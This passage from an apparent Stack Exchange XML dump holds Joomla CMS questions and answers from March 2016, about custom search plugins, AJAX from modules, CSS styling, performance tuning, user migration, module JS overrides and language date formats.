&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag?&lt;/li&gt;&#xA;&lt;li&gt;What if &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag has no &lt;code&gt;style=&amp;quot;&amp;quot;&lt;/code&gt; part at all?&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Exact strings depend of your specific article content, but you got an idea now, right?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;br /&gt;&#xA;To be perfectly honest, before I have discovered this gem of RT RokPad three years ago, I've been using another way of achieving same result:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I would [Toggle Editor] (JCE of course) to source code&lt;/li&gt;&#xA;&lt;li&gt;Ctrl+A then Ctrl+C&lt;/li&gt;&#xA;&lt;li&gt;Switch to my favorite Windows editor (IDM UltraEdit of course)&lt;/li&gt;&#xA;&lt;li&gt;Ctrl+V and edit it to my liking, by using all powerfull UE commands&lt;/li&gt;&#xA;&lt;li&gt;When finished editing I would copy it and paste back to JCE&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Same result, just little bit longer, and not as fancy-schmancy as with RokPad. :-)&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-03-23T07:15:48.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15799" PostTypeId="1" CreationDate="2016-03-22T20:03:41.807" Score="1" ViewCount="426" Body="&lt;p&gt;How can I improve the Search component in joomla 2.5 to set search by my custom component?&#xA;Can't find, where I can modify the search request to database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With help of &lt;a href=&quot;https://joomla.stackexchange.com/users/3944/rene-korss&quot;&gt;Rene Korss&lt;/a&gt; I solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Made a custom search plugin with files:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;customsearch.php&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// no direct access&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;require_once JPATH_SITE .  '/components/com_nhotel/helpers/route.php';&#xA;&#xA;class plgSearchCustomsearch extends JPlugin {&#xA;&#xA;    function __construct(&amp;amp; $subject, $config)&#xA;    {&#xA;        parent::__construct($subject, $config);&#xA;        $this-&amp;gt;loadLanguage();&#xA;    }&#xA;&#xA;&#xA;    function onContentSearchAreas() {&#xA;        static $areas = array(&#xA;            'customsearch' =&amp;gt; 'Customsearch'&#xA;        );&#xA;        return $areas;&#xA;    }&#xA;&#xA;     function onContentSearch( $text, $phrase='', $ordering='', $areas=null ) {&#xA;        $db = JFactory::getDBO();&#xA;        $user   = JFactory::getUser();&#xA;        $groups = implode(',', $user-&amp;gt;getAuthorisedViewLevels());&#xA;&#xA;        // If the array is not correct, return it:&#xA;        if (is_array( $areas )) {&#xA;            if (!array_intersect( $areas, array_keys( $this-&amp;gt;onContentSearchAreas() ) )) {&#xA;                return array();&#xA;            }&#xA;        }&#xA;&#xA;        $text = trim( $text );&#xA;&#xA;        // Return Array when nothing was filled in.&#xA;        if ($text == '') {&#xA;            return array();&#xA;        }&#xA;&#xA;        $wheres = array();&#xA;&#xA;        switch ($phrase) {&#xA;&#xA;            // Search exact&#xA;            case 'exact':&#xA;                $text       = $db-&amp;gt;Quote( '%'.$db-&amp;gt;escape( $text, true ).'%', false );&#xA;                $wheres2    = array();&#xA;                $wheres2[]  = 'LOWER(a.greeting) LIKE '.$text;&#xA;                $where      = '(' . implode( ') OR (', $wheres2 ) . ')';&#xA;                break;&#xA;&#xA;            // Search all or any&#xA;            case 'all':&#xA;            case 'any':&#xA;&#xA;                // Set default&#xA;            default:&#xA;                $words  = explode( ' ', $text );&#xA;                $wheres = array();&#xA;                foreach ($words as $word)&#xA;                {&#xA;                    $word       = $db-&amp;gt;Quote( '%'.$db-&amp;gt;escape( $word, true ).'%', false );&#xA;                    $wheres2    = array();&#xA;                    $wheres2[]  = 'LOWER(a.greeting) LIKE '.$word;&#xA;                    $wheres[]   = implode( ' OR ', $wheres2 );&#xA;                }&#xA;                $where = '(' . implode( ($phrase == 'all' ? ') AND (' : ') OR ('), $wheres ) . ')';&#xA;                break;&#xA;        }&#xA;&#xA;        // Ordering of the results&#xA;        switch ( $ordering ) {&#xA;&#xA;            //Alphabetic, ascending&#xA;            case 'alpha':&#xA;                $order = 'a.greeting ASC';&#xA;                break;&#xA;&#xA;            // Oldest first&#xA;            case 'oldest':&#xA;&#xA;                // Popular first&#xA;            case 'popular':&#xA;&#xA;                // Newest first&#xA;            case 'newest':&#xA;&#xA;                // Default setting: alphabetic, ascending&#xA;            default:&#xA;                $order = 'a.greeting ASC';&#xA;        }&#xA;&#xA;        $section = JText::_( 'Customsearch' );&#xA;&#xA;        $query  = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('a.greeting AS title, a.description AS text');&#xA;        $query-&amp;gt;select('&quot;1&quot; AS browsernav');&#xA;        $query-&amp;gt;from('#__customtable AS a');&#xA;        $query-&amp;gt;order($order);&#xA;        $query-&amp;gt;where($where);&#xA;        $db-&amp;gt;setQuery( $query, 0, $limit );&#xA;        $rows = $db-&amp;gt;loadObjectList();&#xA;&#xA;        foreach($rows as $key =&amp;gt; $row) {&#xA;            // This link I will correct later to my link structure&#xA;            $rows[$key]-&amp;gt;href = 'custom_link_to_result_article';&#xA;        }&#xA;&#xA;        //Return the search results in an array&#xA;        return $rows;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/index.php?title=J2.5:Creating_a_search_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;customsearch.xml&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;next, I install the plugin and switch it on. Ready to use!&lt;/p&gt;&#xA;" OwnerUserId="8039" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-03-29T00:35:41.887" Title="Search in custom component" Tags="|joomla-2.5|php|custom-component|search|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="15801" PostTypeId="2" ParentId="15799" CreationDate="2016-03-22T20:50:55.973" Score="-2" Body="&lt;p&gt;You can't use joomla search engine for custom component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing if component doesn't have it's own search engine, write a new component which will look in a specific place of Your data base.&lt;/p&gt;&#xA;" OwnerUserId="8076" LastActivityDate="2016-03-22T20:50:55.973" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15802" PostTypeId="1" CreationDate="2016-03-22T21:55:42.083" Score="2" ViewCount="1655" Body="&lt;p&gt;I am trying to call a php function from the backend of a module (I'm using a custom form field). &lt;code&gt;com_ajax&lt;/code&gt; does not work because it pulls the current menu item, which doesn't exist since it is not being called from a menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried linking to a php file directly but that will not work because &lt;code&gt;defined('_JEXEC') or die('Direct Access to this location is not allowed.');&lt;/code&gt; is needed for security purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried using &lt;code&gt;JURI::base() . 'index.php?option=mod_myMod&amp;amp;task=myPhpFunction';&lt;/code&gt; for my AJAX request URL while having the code block below defined before my helper class in the module's &lt;code&gt;helper.php&lt;/code&gt; but just get a &lt;code&gt;404 (Component not found.)&lt;/code&gt; error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taskInput = JFactory::getApplication()-&amp;gt;input;&#xA;$task = $taskInput-&amp;gt;get('task');&#xA;&#xA;if ($task == &quot;importData&quot;) {&#xA;    ModPropertySearchHelper::importDataAjax();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could create a separate component to handle this. However, that just feels weird and is a problem &lt;code&gt;com_ajax&lt;/code&gt; tried to solve, so I would rather not do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I could override &lt;code&gt;ajax.php&lt;/code&gt; in order to support being called from a module's backend? I wouldn't want to replace it in case of updates and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a better solution to my problem?&lt;/p&gt;&#xA;" OwnerUserId="8061" LastActivityDate="2016-06-21T11:48:31.250" Title="Call php function in backend of module" Tags="|joomla-3.x|module|ajax|custom-field|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15803" PostTypeId="2" ParentId="15765" CreationDate="2016-03-22T22:04:13.067" Score="0" Body="&lt;p&gt;You can use &lt;strong&gt;JImage&lt;/strong&gt; class for image manipulation:&lt;br/&gt;&#xA;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JImage.html&quot; rel=&quot;nofollow&quot;&gt;https://api.joomla.org/cms-3/classes/JImage.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find an example in slide number 15&lt;br/&gt;&#xA;&lt;a href=&quot;http://es.slideshare.net/nikosdion/hidden-in-plain-site-joomla-hidden-secrets-for-code-monkeys&quot; rel=&quot;nofollow&quot;&gt;http://es.slideshare.net/nikosdion/hidden-in-plain-site-joomla-hidden-secrets-for-code-monkeys&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To complement, see this article:&lt;br/&gt;&#xA;&lt;a href=&quot;http://phproberto.com/es/36-create-thumbnails-on-the-fly-for-joomla-content-articles&quot; rel=&quot;nofollow&quot;&gt;http://phproberto.com/es/36-create-thumbnails-on-the-fly-for-joomla-content-articles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-03-22T22:04:13.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15804" PostTypeId="2" ParentId="15796" CreationDate="2016-03-22T22:39:34.240" Score="4" Body="&lt;p&gt;An alternative way to do this is to apply the margins via a suitable CSS selector in a custom CSS file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can limit the styling to a single page if you want by using a page class and including this in your CSS selector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you added a page class of &quot;my-page&quot;, your CSS might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.my-page img {margin: 20px;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;although you'd probably want to be a little more specific so that the styling only applies to the images in the article and not every image on the page. Browser developer tools can be useful in inspecting and finding the best CSS selector(s) to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://joomla.stackexchange.com/a/3878/120&quot;&gt;https://joomla.stackexchange.com/a/3878/120&lt;/a&gt; to learn more about best practice custom CSS files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://joomla.stackexchange.com/a/15361/120&quot;&gt;https://joomla.stackexchange.com/a/15361/120&lt;/a&gt; to learn more about page classes.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T04:29:29.003" LastActivityDate="2019-09-07T04:29:29.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15805" PostTypeId="2" ParentId="15781" CreationDate="2016-03-22T22:49:27.737" Score="2" Body="&lt;p&gt;To complement:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable &lt;strong&gt;Gzip&lt;/strong&gt; compression in the global configuration.&lt;/li&gt;&#xA;&lt;li&gt;Optimize the images on your site, a tool like &lt;a href=&quot;https://imageoptim.com/&quot; rel=&quot;nofollow&quot;&gt;ImageOptim&lt;/a&gt; or tinyjpg.com can&lt;br/&gt;be very useful.&lt;/li&gt;&#xA;&lt;li&gt;Once your site is finished, don't forget to consider enabling the cache.&lt;/li&gt;&#xA;&lt;li&gt;Once your site is finished, consider use some CDN.&lt;/li&gt;&#xA;&lt;li&gt;Other useful online services: gtmetrix.com, webpagetest.org&lt;/li&gt;&#xA;&lt;li&gt;Exra to the extensions, you can add manualy some code in your .htaccess&lt;br/&gt;&#xA;file, here find a block with the title &quot;&lt;strong&gt;Begin - Optimal default expiration time&lt;/strong&gt;&quot;.&#xA;&lt;a href=&quot;https://docs.joomla.org/Htaccess_examples_(security)&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Htaccess_examples_(security)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-03-22T22:49:27.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15806" PostTypeId="2" ParentId="15787" CreationDate="2016-03-22T23:08:06.640" Score="3" Body="&lt;p&gt;Assuming the menu option has a suitable CSS selector e.g. &quot;item-135&quot;, it could be hidden via CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create a custom HTML module to add the appropriate code to the applicable page(s). Set the custom HTML module position to &quot;debug&quot; or similar if your template has this option (as the debug module position is less likely to have any margins or padding associated with it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install and enable the &lt;a href=&quot;http://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Regular Labs Sourcerer&lt;/a&gt; plugin or similar so the code is not stripped from your Custom HTML Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Custom HTML Module, your code will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;  &amp;lt;?php&#xA;    if ([some condition]) {&#xA;      $document = JFactory::getDocument();&#xA;      $style = '.item-135 {display: none;}';&#xA;      $document-&amp;gt;addStyleDeclaration ($style);&#xA;    }&#xA;  ?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-06-24T10:39:14.710" LastActivityDate="2016-06-24T10:39:14.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15808" PostTypeId="1" AcceptedAnswerId="15812" CreationDate="2016-03-23T09:42:14.407" Score="2" ViewCount="465" Body="&lt;p&gt;Yesterday I upgraded my joomla site from 3.4 to 3.5 .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From then I can access the backend but nothing shows up in the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I troubleshoot it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8079" LastActivityDate="2016-03-23T10:39:39.113" Title="Joomla frontend not loading after upgrading to 3.5" Tags="|front-end|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15809" PostTypeId="2" ParentId="15802" CreationDate="2016-03-23T09:44:55.403" Score="1" Body="&lt;p&gt;For security, there are several measures in Joomla that prevent direct access to scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you have to follow Joomla good practices to take advantage of Joomla CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To execute inside Joomla, you have to create a component, a module or a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking to implement an Ajax query, then you have to create a plugin for com_ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using Joomla Ajax Interface&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A slim, extensible component to act as an entry point for HTTP&#xA;  requests for stand alone modules and plugins, thus allowing for the&#xA;  potential of Ajax functionality in them. Com_ajax is generally used&#xA;  when you are not the developer of the component that the module or&#xA;  plugin is interacting with.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-03-23T09:44:55.403" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15810" PostTypeId="2" ParentId="15802" CreationDate="2016-03-23T10:02:45.647" Score="0" Body="&lt;p&gt;It looks like this module would allow you to paste in php, but I have not tried it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as Anibal says. If you are going to be using Ajax and need to interact with Joomla, you should use com_ajax and develop it yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/blank-module&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/blank-module&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2016-03-23T10:02:45.647" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15812" PostTypeId="2" ParentId="15808" CreationDate="2016-03-23T10:34:00.007" Score="4" Body="&lt;p&gt;Hi Spiros and welcome to Joomla Stack Exchange!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that one or more of the extensions you are using are not yet Joomla 3.5.0 compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend logging in to the back end and setting &lt;code&gt;System -&amp;gt; Global Configuration -&amp;gt; Server -&amp;gt; Error Reporting&lt;/code&gt; to &quot;Maximum&quot; and refreshing the front-end to see if any meaningful error messages are displayed. This may help you determine which extension is causing the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't help, update all third party extensions to the latest versions and try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to check the developer website for each extension to verify the extensions are ready for Joomla 3.5.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any of the extensions are not ready for Joomla 3.5.0 yet, you may need to restore your website back to the previous version before you updated to Joomla 3.5.0 (assuming you have a backup) or temporarily remove or disable the offending extension(s) in the meantime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://joomla.stackexchange.com/q/299/120&quot;&gt;What is an efficient way to troubleshoot a “white screen of death”&lt;/a&gt; for other tips on troubleshooting a blank front-end.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-03-23T10:39:39.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15814" PostTypeId="1" CreationDate="2016-03-23T15:19:34.473" Score="4" ViewCount="2801" Body="&lt;p&gt;I'm trying to migrate Joomla 3 user's information to another Joomla 3 installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From PHPMyAdmin I exported &lt;strong&gt;_users&lt;/strong&gt; table and &lt;strong&gt;_user_usergroup_map&lt;/strong&gt; to the new Database. The users appear in the user administrator sections, but when trying to log in using my credentials it say that the password is incorrect. What am I doing wrong? Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The password hash are the same, but there are different installations of Joomla, I don't know if there supposed to be different hash even if the string of the password is the same...&lt;/p&gt;&#xA;" OwnerUserId="8081" LastEditorUserId="1629" LastEditDate="2016-03-23T16:44:58.260" LastActivityDate="2018-04-16T11:52:33.117" Title="Migrate users account from Joomla 3 to another Joomla 3 manually" Tags="|user|database|migration|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15816" PostTypeId="2" ParentId="15814" CreationDate="2016-03-23T18:06:47.237" Score="4" Body="&lt;p&gt;Rather than migrating the users manually you could try some of the extensions available at Joomla Extensions Directory. &lt;a href=&quot;http://extensions.joomla.org/category/migration-a-conversion/users-import-a-export&quot;&gt;This page&lt;/a&gt; contains several extensions, both free and commercial, you'd have to look through the list and see if any of them works for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation is that you try &lt;a href=&quot;http://extensions.joomla.org/extension/j2xml&quot;&gt;J2XML&lt;/a&gt; (free). I have used it before to export almost everything from Joomla (users, articles, images etc), but I think you can choose what parts of your website you want to export.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-03-23T18:06:47.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15817" PostTypeId="2" ParentId="15760" CreationDate="2016-03-23T19:18:33.437" Score="2" Body="&lt;p&gt;I actually found my answer on another forum. Here is a link to the solution: &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?p=3378390&quot; rel=&quot;nofollow noreferrer&quot;&gt;Articles from multiple categories showing on homepage&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If you set the Category Sort Order=No Order, the articles will be sorted in the Article Sort Order regardless of which category it belongs to. i.e you will have your most recent articles first.&lt;/p&gt;&#xA;&lt;p&gt;If set to a Category Sort Order, all articles in the category that are sorted first will be shown before the next category.&lt;/p&gt;&#xA;&lt;p&gt;As the Order is set to use Global, you have to enter the Global Settings (Options Button in Article Manager) to see what is set.&#xA;&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8049" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-03-25T11:50:53.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15818" PostTypeId="1" CreationDate="2016-03-23T19:53:21.423" Score="2" ViewCount="951" Body="&lt;p&gt;I would like to minify a js file of a Joomla module. For example, the file: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;joomla_site/modules/mod_module/tmpl/js/file.js&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which has been copied to following location:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;joomla_site/templates/my_template/html/mod_module/tmpl/js/file.js&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's been minified. I reloaded my site, and there was no change. The site is still using the un-minified js file. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="8083" LastEditorUserId="7632" LastEditDate="2016-09-20T13:59:29.980" LastActivityDate="2016-12-04T09:07:10.993" Title="How to override Module js file in Joomla?" Tags="|joomla-3.3.x|cms|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15819" PostTypeId="1" AcceptedAnswerId="15878" CreationDate="2016-03-23T19:55:59.563" Score="0" ViewCount="587" Body="&lt;p&gt;I have a Joomla! site that has several modules displaying on my home page. I specify that these modules should show up on my homepage layout using the Module Manager. Great. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a separate menu item called &quot;Topics&quot; which is a &quot;List all Categories&quot; page. It lists all my categories and the number of items in each category like: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category A (2) &lt;/li&gt;&#xA;&lt;li&gt;Category B (5)&lt;/li&gt;&#xA;&lt;li&gt;Category C (12) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I want is when you click on a category it goes to a simple one or two column page (Article Layout) without all of my modules, which either lists a small intro about each article in that category, or just the headline for the articles in that category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is actually happening is when I click on the category it links to a page that looks exactly like the homepage - with the Home menu item highlighted and all of the modules showing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess my question is, how to I modify or specify what the Category page (list of articles) should look/layout?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8049" LastActivityDate="2016-03-28T15:19:22.760" Title="How to specify layout for Joomla Category page linked from List All Categories page" Tags="|joomla-2.5|category-blog|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15820" PostTypeId="1" AcceptedAnswerId="15823" CreationDate="2016-03-23T20:01:03.637" Score="1" ViewCount="62" Body="&lt;p&gt;Can anyone help me understand why JLanguage-&gt;getFirstDay() returns 0 (Sunday) for EN-GB, and 1 (Monday) for EN-US?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UNICODE CLDR has 1 for EN-GB, and 0 for EN-US.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-03-23T20:16:11.687" Title="JLanguage getFirstDay()" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15821" PostTypeId="2" ParentId="15818" CreationDate="2016-03-23T20:01:55.983" Score="1" Body="&lt;p&gt;Assuming the module is using the following method to import the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', 'path/to/file.js', array(), true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Not using &lt;code&gt;$doc-&amp;gt;script()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to copy the file to the following path:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;joomla-site/templates/my_template/html/mod_module/file.js&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The path &lt;strong&gt;shouldn't&lt;/strong&gt; have &lt;code&gt;tmpl/js/&lt;/code&gt; in it.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-23T20:01:55.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15822" PostTypeId="1" CreationDate="2016-03-23T20:08:56.877" Score="2" ViewCount="1473" Body="&lt;p&gt;I'm wondering if there are any time formats in Joomla? I see &lt;code&gt;JText::_('DATE_FORMAT_LC?')&lt;/code&gt;.&lt;br&gt;&#xA;Is there nothing comparable for times?&lt;/p&gt;&#xA;" OwnerUserId="7997" LastEditorUserId="7394" LastEditDate="2020-05-14T21:04:48.017" LastActivityDate="2020-05-14T21:04:48.017" Title="Locale Specific Time Formatting" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15823" PostTypeId="2" ParentId="15820" CreationDate="2016-03-23T20:16:11.687" Score="0" Body="&lt;p&gt;&lt;code&gt;getFirstDay()&lt;/code&gt; returns &lt;code&gt;$this-&amp;gt;metadata['firstDay']&lt;/code&gt; and defaults to &lt;code&gt;0&lt;/code&gt; if it doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$metadata&lt;/code&gt; variable contains an array of data which is pulled from the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;joomla\language\en-GB\en-GB.xml&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not too sure why, but when installing a language pack in the back-end Language Manager, it doesn't add the new XML file, just the &lt;code&gt;.ini&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at a guess, you could try duplicating the file mentioned above, rename it to &lt;code&gt;en-US.xml&lt;/code&gt;, open the file and change the &lt;code&gt;&amp;lt;firstDay&amp;gt;0&amp;lt;/firstDay&amp;gt;&lt;/code&gt; to whatever your preferred value is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-23T20:16:11.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15824" PostTypeId="1" AcceptedAnswerId="15828" CreationDate="2016-03-24T00:09:15.307" Score="1" ViewCount="2537" Body="&lt;p&gt;I tried to remove the Akeeba backup component, but got the following fatal error- &lt;code&gt;Fatal error: Class 'F0fUtilsInstallscript' not found in /home3/asocir/public_html/administrator/components/com_akeeba/script.akeeba.php on line 52.&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the uninstall instructions from akeebabackup.com I would be grateful if you could help.&lt;/p&gt;&#xA;" OwnerUserId="8085" LastEditorUserId="115" LastEditDate="2016-03-24T01:37:07.280" LastActivityDate="2016-10-06T12:40:10.493" Title="How to uninstall akeeba backup components from joomla 3.5?" Tags="|joomla-3.x|component|akeebabackup|troubleshooting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15825" PostTypeId="2" ParentId="15822" CreationDate="2016-03-24T00:22:12.627" Score="1" Body="&lt;p&gt;You can find different formats in &lt;strong&gt;yoursite/language/en-GB/en-GB.ini&lt;/strong&gt;&lt;br/&gt;&#xA;something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DATE_FORMAT_LC=&quot;l, d F Y&quot;&#xA;DATE_FORMAT_LC1=&quot;l, d F Y&quot;&#xA;DATE_FORMAT_LC2=&quot;l, d F Y H:i&quot;&#xA;DATE_FORMAT_LC3=&quot;d F Y&quot;&#xA;DATE_FORMAT_LC4=&quot;Y-m-d&quot;&#xA;DATE_FORMAT_JS1=&quot;y-m-d&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-03-24T00:22:12.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
